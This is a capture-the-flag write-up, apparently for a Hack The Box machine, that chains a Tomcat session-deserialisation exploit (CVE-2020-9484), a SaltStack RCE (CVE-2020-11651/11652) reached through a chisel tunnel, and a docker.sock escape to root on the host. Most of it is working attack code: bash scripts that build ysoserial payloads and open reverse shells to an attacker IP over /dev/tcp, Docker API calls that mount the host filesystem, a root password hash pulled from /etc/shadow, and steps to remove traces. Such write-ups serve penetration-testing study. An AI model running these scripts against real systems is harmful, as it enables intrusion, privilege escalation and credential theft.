Recon
- Port scan:
$ nmap -p- 10.10.10.205 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy
- Targeted scan:
$ nmap -sC -sV -p 22,8080 10.10.10.205 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 8080/tcp open http Apache Tomcat 9.0.27 |_http-open-proxy: Proxy might be redirecting requests |_http-title: VirusBucket Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OpenSSH 8.2p1 Ubuntu 4, Apache Tomcat 9.0.27.
Enumeration
HTTP Enumeration
- A website named "VirusBucket" hosted on port 8080, which seems to be a malware analysis platform, currently closed to public.
- Service in beta testing is accepting malware sample for analysis, submission page at http://10.10.10.205:8080/service/.
- Scanning for files with
dirbuster
, found/service/script.js
:$("#uploadButton").click(function(){ $("#uploadFile").click(); }); $(document).ready(function(){ ImageUpload.init(); }); var ImageUpload = { init:function() { $("#uploadFile").change(function(){ ImageUpload.readURL(this); }); }, readURL:function(input) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { /* $('.header').css( "background-image", "url(" + e.target.result + ")" ); $(".clipped").css( "background-image", "url(" + e.target.result + ")" ); */ } reader.readAsDataURL(input.files[0]); } }, } async function upload() { let photo = document.getElementById("uploadFile").files[0]; let req = new XMLHttpRequest(); let email = document.getElementById("email").value; let formData = new FormData(); formData.append("image", photo); await fetch('/upload.jsp?email=' + email , { method: "POST", body: formData}) .then(response=>response.text()) .then(data=>{ if(data.includes("successfully")) { document.getElementById("msg").innerText = "Upload successful! The report will be sent via e-mail."; } else { document.getElementById("msg").innerText = "File upload failed"; } }) .catch(function(error) { document.getElementById("msg").innerText = "File upload failed"; }); }
- Intercepting analyse POST request with Burp Suite:
POST /[email protected] HTTP/1.1 Host: 10.10.10.205:8080 Content-Length: 5680 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMGvQ3BrqXzqkF9bp Accept: */* Origin: http://10.10.10.205:8080 Referer: http://10.10.10.205:8080/service/ Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: JSESSIONID=67893B77AA0369EBAA79816D4FA4E316 Connection: close ------WebKitFormBoundaryMGvQ3BrqXzqkF9bp Content-Disposition: form-data; name="image"; filename="reverse.php" Content-Type: application/x-php <?php ... ?> ------WebKitFormBoundaryiNLEBpn1fxkcqa6S--
- Looking at the response and
script.js
, we see that the upload function is expecting an image file:Content-Disposition: form-data; name="image"; filename="reverse.php" Content-Type: application/x-php
formData.append("image", photo);
- Upon submitting a sufficiently large image, we get a Java error:
org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed. /opt/tomcat/temp/upload_ef4835ae_2996_473d_b415_5cd220815631_00000026.tmp (Permission denied)
- Upon sending a request with the
filename
parameter as blank, we get another error:java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
- Path to file uploads on the remote filesystem exposed:
/opt/samples/uploads
- From these two error messages, we see that Tomcat first writes the data stream to a
.tmp
file in the/opt/tomcat/temp/
directory under a temporary name. However, if the file upload exceeds the size limit set inweb.xml
, the upload is cancelled and returns an error. - If the upload was successful, the file is then moved to
/opt/samples/uploads
and stored there. - After some searching, it seems that Apache Tomcat 9.0.27 is in fact outdated, and is vulnerable to RCE by deserialisation under CVE-2020-9484.
- There are a number of prerequisites for CVE-2020-9484 to be exploitable:
- The
PersistentManager
is enabled and it’s using aFileStore
. - The attacker is able to upload a file with arbitrary content, has control over the filename and knows the location where it is uploaded.
- There are gadgets in the
classpath
that can be used for a Java deserialization attack.
- The
- We know we can upload arbitrary files by making a POST request to http://10.10.10.205/upload.jsp
- We can assume that there are gadgets that we can abuse, and that
PersistentManager
is enabled from the cookie:Cookie: JSESSIONID=67893B77AA0369EBAA79816D4FA4E316
Exploitation
- When Tomcat receives a HTTP request with a
JSESSIONID
cookie, it will ask theManager
to check if this session already exists. - The attacker can control the value of
JSESSIONID
sent in the request, but this value is not sanitised and relative paths are accepted. - This means we can put in something like
JSESSIONID=../../../../../../opt/samples/uploads/payload
, and trick theManager
into deserialising arbitrary files that we uploaded. - The exploitation process goes as follows:
- Serialise the payload with
ysoserial
, and output the payload as a.session
file. - Upload the
.session
file through http://10.10.10.205:8080/upload.jsp. - Send a POST request with
JSESSIONID
of../../../../../../opt/samples/uploads/payload
. - Tomcat will then requests the
Manager
to check if a session with ID../../../../../../opt/samples/uploads/payload
exists. - It will first check if it has that session in memory, but we know that it does not.
- If the currently running
Manager
is aPersistentManager
, it will also check if a.session
file associated to that ID is on the disk. - It will check at location:
directory
+sessionid
+.session
, which evaluates to./session/../../../../../../opt/samples/uploads/payload.session
. - If the file exists, it will deserialize it and parse the session information from it, granting us arbitrary code execution.
- Serialise the payload with
- Get
ysoserial.jar
from JitPack, this will be used for serialising our reverse shell payload. - Creating
exploit.sh
:#!/bin/bash l_ip="10.10.14.103" # Local IP l_port="6969" # Local port t_ip="10.10.10.205" # Target IP t_port="8080" # Target port u_path="/opt/samples/uploads" # Upload path shell=$(echo -n "bash -i >& /dev/tcp/$l_ip/$l_port 0>&1" | base64) payload="bash -c {echo,$shell}|{base64,-d}|{bash,-i}" java -jar /home/samiko/Desktop/oscp-prep/HTB/Common/ysoserial.jar CommonsCollections2 "${payload}" > reverse.session curl -F '[email protected]' http://$t_ip:$t_port/upload.jsp?email=[email protected] curl --cookie "JSESSIONID=../../../../../$u_path/reverse" -L http://$t_ip:$t_port/upload.jsp?email=[email protected]
- Listen for a reverse shell with
nc
:$ nc -lvnp 6969
- Run the exploit, and we should get a shell as tomcat:
$ whoami && id
tomcat uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)
- Get user flag!
Privilege Escalation
- Checking for network interfaces:
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:50:56:b9:79:7b brd ff:ff:ff:ff:ff:ff inet 10.10.10.205/24 brd 10.10.10.255 scope global ens160 valid_lft forever preferred_lft forever inet6 dead:beef::250:56ff:feb9:797b/64 scope global dynamic mngtmpaddr valid_lft 86306sec preferred_lft 14306sec inet6 fe80::250:56ff:feb9:797b/64 scope link valid_lft forever preferred_lft forever 3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:d8:17:45:bb brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever inet6 fe80::42:d8ff:fe17:45bb/64 scope link valid_lft forever preferred_lft forever 4: br-e9220f64857c: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:4e:a6:3d:3a brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-e9220f64857c valid_lft forever preferred_lft forever 6: veth3687d86@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default link/ether 9a:f9:53:6d:49:90 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::98f9:53ff:fe6d:4990/64 scope link valid_lft forever preferred_lft forever
- We see
docker0
, and two other unknown connections,br-e9220f64857c
andveth3687d86@if5
, presumably interfaces for Docker containers. - Checking for listening ports:
$ netstat -tulpn
Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:36823 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 127.0.0.1:8005 :::* LISTEN 972/java tcp6 0 0 :::8080 :::* LISTEN 972/java udp 0 0 127.0.0.53:53 0.0.0.0:* -
- We can safely ignore ports 22, 8005, and 8080. Port 22 is SSH, and 8005/8080 are running Tomcat which we have just exploited.
- Ports 4505, 4506 are also listening. After a quick search, we find out that the ports are used by SaltStack Salt, an infrastructure automation software. The request server port is by default set to 4506.
- A quick search reveals two vulnerabilities within SaltStack that could lead to RCE, CVE-2020-11651 and CVE-2020-11652.
- CVE-2020-11651 allows remote user access, and CVE-2020-11652 permits arbitrary directory access.
- SaltStack uses a master-slave model where the salt master is used to send commands and configurations to the salt minions (slaves). A single master can manage multiple minions.
- In CVE-2020-11651, the salt master process,
ClearFuncs
, does not validate method calls properly and exposes the following two methods:_prep_auth_info()
method, which returns the user token (Root Key). This allows the attackers retrieve user tokens to bypass authentication, resulting in remote command execution on both the salt master and minions._send_pub()
method, which queues messages directly on the master publish server, and can be used to trigger minions to run arbitrary commands as root.
- In CVE-2020-11652, the
get_token()
method of thesalt.tokens.localfs
fails to sanitize the token input parameter, which is then used as a filename, allowing insertion of traversal characters such as../
and leading to arbitrary directory access. - Using a PoC created by jasperla on GitHub. Unfortunately, the exploit could not be run on remotely on the target, as the Salt module is missing and
pip
is not installed:$ python3 rce.py
Traceback (most recent call last): File "rce.py", line 16, in <module> import salt ModuleNotFoundError: No module named 'salt'
- This means we must exploit the target remotely from our local machine, which we can do by using
chisel
to reverse port forward 4506. - Upload
chisel
to target:$ cp /usr/local/bin/chisel ./www/
$ cd ./www && updog
$ curl <http://10.10.14.103:9090/chisel> -o chisel
- On our local machine, setup a reverse tunnelling server:
$ ./chisel server -p 1337 --reverse
- On the target machine, connect to our local server and forward port 4506 on
localhost
:$ ./chisel client 10.10.14.103:1337 R:4506:localhost:4506
- Exploit SaltStack with PoC, and spawn a reverse shell:
$ python saltstack_rce.py --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.103/1234 0>&1"'
- Now in the SaltStack container as root:
$ whoami && id && hostname
root uid=0(root) gid=0(root) groups=0(root) 2d24bf61767c
- Found
todo.txt
in root home directory:- Add saltstack support to auto-spawn sandbox dockers through events. - Integrate changes to tomcat and make the service open to public.
.bash_history
is not symlinked to/dev/null
and is readable:cd /root rm .wget-hsts ls -la /var/run/ curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
- Back-tracing the administrator's commands, we see that
docker.sock
was accessed recently withcurl
. - If the administrator were to implement "auto-spawning sandbox containers through events" as mentioned in
todo.txt
, thendocker.sock
is most likely exposed in some way on the SaltStack container. - Output upon running the
curl
command:$ curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
[{"Containers":-1,"Created":1590787186,"Id":"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e", "Labels":null,"ParentId":"","RepoDigests":null,"RepoTags":["sandbox:latest"],"SharedSize":-1,"Size":5574537,"VirtualSize":5574537}, {"Containers":-1,"Created":1588544489,"Id":"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9", "Labels":null,"ParentId":"","RepoDigests":["<none>@<none>"],"RepoTags":["<none>:<none>"],"SharedSize":-1,"Size":1056679100,"VirtualSize":1056679100}]
- We confirm that
docker.sock
is exposed and accessible usingcurl
with flag--unix-socket
, this allows us to freely create, access, and modify docker containers on the host:$ ls -la /var/run/docker.sock
srw-rw---- 1 root 118 0 Jan 27 05:20 docker.sock
- Through
docker.sock
, we canmount
the host's file system on the container and perform a node takeover. - Some example
curl
commands for interacting withdocker.sock
:# Creating a container curl -i -s -k -X 'POST' \ -H 'Content-Type: application/json' \ --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \ http://<docker_host>:PORT/containers/create # Starting a container curl -i -s -k -X 'POST' \ -H 'Content-Type: application/json' \ http://<docker_host>:PORT/containers/<container_ID>/start
- Creating
ds_exploit.sh
:#!/bin/bash # Command to be executed on startup of the Docker container payload="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i >& /dev/tcp/10.10.14.103/9999 0>&1'\\\"\"]" # Create detached container samikowashere, execute payload, and bind to the host's filesystem. curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$payload,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=samikowashere # Start the container curl -s -XPOST --unix-socket /var/run/docker.sock "http://localhost/containers/samikowashere/start"
- Get the exploit script on target machine, and make executable:
$ curl http://10.10.14.103:9090/ds_exploit.sh -o ds_exploit.sh
$ chmod +x ds_exploit.sh
- Listen for reverse shell locally, careful to not use ports that are already busy:
$ nc -lvnp 9999
$ ./ds_exploit.sh
{"Id":"aa30787a6c18ae6eccd785b50efdc59f4be896b8007c824586dc88af99a9fbae","Warnings":[]}
- We should get a shell as root on a new Docker container, bound to the host's filesystem:
$ whoami && id && hostname
root uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) 7cfcbb71d11b
- Get root flag!
Persistence
- Get root user's hash from
/etc/shadow
:root:$6$XzluqBeUpIVqOvGi$1ngfZ.wa2hueUAkXFZjRZIyNxuQBboMC5319WC1lQcZORfGF6aKiG1mmnHaNnhFDTLeUknAre9ofC1KD/KvaU0:18430:0:99999:7:::
- Clean up after ourselves and delete any residual files, on both the host's filesystem and the SaltStack container:
$ rm /tmp/.samiko/ds_exploit.sh
$ rm /opt/samples/uploads/reverse.session
Resources
- https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/
- https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/coinminers-exploit-saltstack-vulnerabilities-cve-2020-11651-and-cve-2020-11652
- https://github.com/jasperla/CVE-2020-11651-poc
- https://dejandayoff.com/the-danger-of-exposing-docker.sock/
- https://dreamlab.net/en/blog/post/abusing-dockersock-exposure/